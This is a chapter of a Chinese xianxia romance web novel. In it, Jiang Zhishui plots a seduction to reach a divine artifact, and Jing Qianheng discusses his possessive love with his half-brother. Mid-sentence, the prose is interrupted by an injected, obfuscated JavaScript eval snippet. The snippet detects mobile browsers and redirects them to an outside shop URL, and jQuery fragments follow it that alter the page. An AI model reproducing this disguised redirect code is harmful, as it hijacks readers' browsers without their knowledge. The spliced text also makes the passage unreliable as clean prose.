58. 第 58 章

作品:《我炮灰炉鼎,但强取豪夺了魔头

    江芷水好说歹说才劝住应雪,不让她轻举妄动。应雪是和宋安师叔一起来的,二人分开行动,约好了一个时辰后汇合,此次主要目的是要确认好青玉帝君的情况。


    宋安嘱咐过她,只是打探,不可动手。但应雪有替江芷水报仇的想法,本打算若是遇上了,偷袭暗算下毒什么都行,杀不了魔头,至少要想法子伤他一次。


    景千珩随时都有可能回来,江芷水不敢让应雪多留,让她赶紧离开。


    应雪本想强拉着江芷水一起走,可她若是失踪,不知道景千珩还会闹出什么事。再者说,江芷水还得拿神器,当然不肯跟着应雪走。


    应雪自己心里也清楚,青玉帝君既然有那么大的能耐能复活江芷水,那他对江芷水的执着也非同一般,就算把江芷水带走,一个紫阳仙府也不一定能护住她,在还没有万全之策之前,确实不该冲动行事。


    应雪思索片刻,还是依江芷水的意思,让她留下,自己先去找宋安师叔汇合再从长计议。


    江芷水等应雪走了,关上窗户,坐在桌前,盯着烛火发呆。


    第一世的世界里,现在就她和景千珩是从第二世穿越而来的。


    继续待在这里很不妙,系统所说的世界崩塌,是构建第二世的核心主角跑到第一世,有可能会造成时空割裂,原本是小说世界主要架构的第二世没了主角,剧情还怎么往下发展,没了剧情任务的第一世,原本是沉寂世界却又因主角的到来而活络起来。


    她和景千珩待在第一世的时间越久,系统的机能耗损就会越严重,必须尽快拿到神器才行。


    按照目前的形式,只能快攻,不能慢熬。


    江芷水眼睛亮了亮,灵机一动,“要不...色诱?”


    她坐直了身体,脸上神情雀跃,心里觉得这个方法很可行。


    江芷水记得在第一世,云锦曾给过她一种香膏,说是抹在身上就能吸引帝君动情。


    那香膏是生长在千境峰的花瓣所制,千境峰山里有处隐蔽的峡谷,那里一大片花丛,姹紫嫣红,花香清淡。江芷水无意中发现摘回来给她们看,云锦对香料颇有研究,就把那些花制成香膏,让她等见到帝君的时候再用。


    青玉帝君不常回来,大部分时间都躲着江芷水,要见他一面谈何容易。这事在第一世不仅行不通,弄不好被发现了还会惹怒他,直接小命不保。


    原本也是她们几个闲着无聊一起做着玩,江芷水敷衍着说好,根本不敢用,香膏就随意堆放在屋内,许久没去动过。


    江芷水起了念头了,一时心动,大晚上的就跑去摘花,把花摘回来,来不及做成香膏,就想直接沐浴算了。


    她在浴桶里撒满花瓣,自己泡在里面,晚上这么一来二去,跑上跑下的,山里冷风彻骨,她又急,泡在桶里没一会儿就打了好几个喷嚏。


    江芷水闻着香味有些上头,她不敢泡太久,穿好衣服,披散着长发坐在梳妆台,镜子里的自己脸颊发红,她摸了摸自己的脸,还有些发烫。


    她盯着镜中的自己,眼皮有些重,她望了望门口,抬手轻拍了拍脸,振作精神。


    ——


    景承瑞暂时放弃了找景千珩算账的计划,且不说他完全没有胜算,当年之事疑点颇多,周临渊老奸巨猾,绝不会那么好心特意告知他真相。


    许多事还得继续往下查,景承瑞这次也的确是为盛玉沉而来。只是他也是够倒霉的,在这千境峰绕来绕去,躲过了几次卫兵的巡逻,正暗自庆幸呢,一转头就碰上了景千珩。


    他也没办法,只能硬着头皮往上冲。


    景承瑞的母亲是宫廷里的一个宫女,生母身份卑微,他作为皇子没有外戚势力,从小便不受重视,再者太子景融和七皇子景千珩都是显现过先祖龙纹的继承人,所有人的关注都在这两位皇子身上。


    他一直被忽略,无视。直到有一批人想拿他做文章,培植第三势力与太子和景千珩斗,争夺皇位。


    景承瑞对皇位一点兴趣都没有,那些人不知道真相,一头栽进这权利的漩涡,斗得如火如荼。


    但景承瑞作为皇室,他知道整个晋国百姓都被下了暗示,他们忘记了自己的妖族身份,以为自己是人类,沉醉其中,只有在每年京都特殊的节日,才会短暂让他们恢复清醒。


    景承瑞和太子、景千珩都不怎么亲近,太子的心思一直都在景千珩身上,皇帝和太子一样,都对景承瑞带有一种鄙夷无视的态度。


    这一次景承瑞之所以敢孤身前来,是因为周临渊的人一直在暗中监视他,他就算不想参与这些糟心事,从此离开,去游历山河,周临渊恐怕也不会轻易放过他。


    与其被动等着对方出招,还不如自己先把局面打乱。


    他原本计划是想找盛玉沉,他不清楚盛玉沉是不是被逼着站在景千珩这边,如果有苦衷,他要想办法救出她,如果带不走她,他也得想办法留下,查清真相,再判断景千珩值不值投效。


    景承瑞独自在外逃亡了一段时间,外边不止一个周临渊对他虎视眈眈,还有一些仙门,魔族的人一直在搜寻他,危机四伏,他也无处可躲,只能往千境峰去碰碰运气。


    景千珩带他去了一处偏殿,让他暂且住在这里。


    景承瑞四处看了看,道:“我听说了你不少事,青玉帝君横空出世,暴戾无道,选中了紫阳仙府的一个女修作为妻子,人人都说她是你的炉鼎,只是用来练功修炼的工具。”


    景千珩坐在一边,眸色微凝,低声道:“你说你还有同伙,是谁?”


    景承瑞瞥他一眼,虚张声势道:“一个高手,我让她藏起来,不会被轻易找到的。”


    “明日我让玉沉来见你。”景千珩见他秉性和第二世没什么两样,也懒得和他打哑谜,他起身道:“别到处乱跑。”


    景千珩一晚上的焦躁被景承瑞这么一打岔,此时已经平静了许多。


    景承瑞看他就要走了,调侃道:“这么急着走?你屋里是有人等你吗?”


    景千珩脚下一顿,殿内寂静片刻,景承瑞笑道:“听说你娶妻的时候,我就觉得奇怪了,怎么偏偏是紫阳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16512080|176016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仙府的人?后来我想到,你原来不是在紫阳仙府修习吗?世人不知你真面目,我可知道青玉帝君是谁,你是故意选择那个人,以这种方式强行把她留在你身边对吗?”


    景千珩一直以来都对江芷水有着很复杂的感情,想靠近她,又不自觉的想远离她,他不知道怎么对待她才对,也不知道怎么与旁人说。


    他还未处理好这份情感,就被江芷水一连串荒诞的行为搅得天翻地覆,他被逼得一点余地都没有,她一句软绵绵的“阿玉”把他打入永暗的地狱里,痛不欲生。


    现在他已经知道那个阿玉是谁,是第一世的自己,但他依然嫉妒至极,无法忍受。


    景千珩在竭力控制自己的理智,但也在刻意忽略着一些事实,他不想去提,也不想去探究,反正现在人已经在他手里了,无论如何不会再让他逃掉,是欺骗也好,是替身也罢,反正人在,不是冷冰冰的尸体就行了。


    景千珩转身看向景承瑞,嗤笑道:“连你这样的蠢人都能一下子就想明白的事,她却一直不懂。我就是要她,只要她,她不一样,不想要我,满脑子都是别人,花言巧语一大堆,一而再再而三的骗我,这次我不会再上当,她做什么都没用了。”


    景承瑞微皱了皱眉,被骂蠢人,脸上还有些不服气。


    景千珩顿了顿,忽然问道:“若是你,你会如何?”


    景承瑞又没娶过亲,哪里知道,但他作为兄长,不想因为这种事失了面子,咳了咳,有模有样道:“你身为男子,既喜欢她,就该大方些,因为一点小事就斤斤计较,人家会喜欢你才怪。”


    景千珩一愣,垂眸思索。


    之前许嬷嬷也是这么说的....


    景承瑞看他脸色似颇有受教的意思,继续说:“她愿意花心思骗你,不也很好吗?说明她都只想把一些美好的东西展示在你面前,有时候说谎也是因为情势所迫,她也许是因为善意,不想伤害你才会如此,你不要只会看表面,就这样擅自给她定罪。”


    景千珩抬眸看他,隐隐觉得有哪些不对,但景承瑞一副信誓旦旦的语气让他越听越认真了,“你说她满脑子都是别人?这又是什么话,是亲眼见到她与别的男子不清不楚,还是你自己怀疑她胡说的。没有确实证据的事,你不可这样污蔑人,你自己娶回来的妻子,你喜欢的人,你还不清楚对方的为人吗?这要是让她知道了,不伤心死才怪!”


    “我....”景千珩被他说得一愣一愣的,小声道:“我没有证据....”


    景承瑞下巴一扬,笃定的拍了下手,“你看,你就是瞎怀疑,夫妇之道,最重要的就是信任,你疑神疑鬼的,谁能和你安心过日子。不过你也是爱之深才会在意过了头,好好说清楚就是了,别自己乱发火,小心人被你吓跑了,你哭都来不及。”


    景千珩已经是第二次听到“吓跑”的说辞了,他顿时严阵以待。


    景承瑞说到一半,忽然想到一个事,眨了眨眼,反复思量,抬头道:“不过...你说的人是谁啊?你那妻子不是已经死了吗?”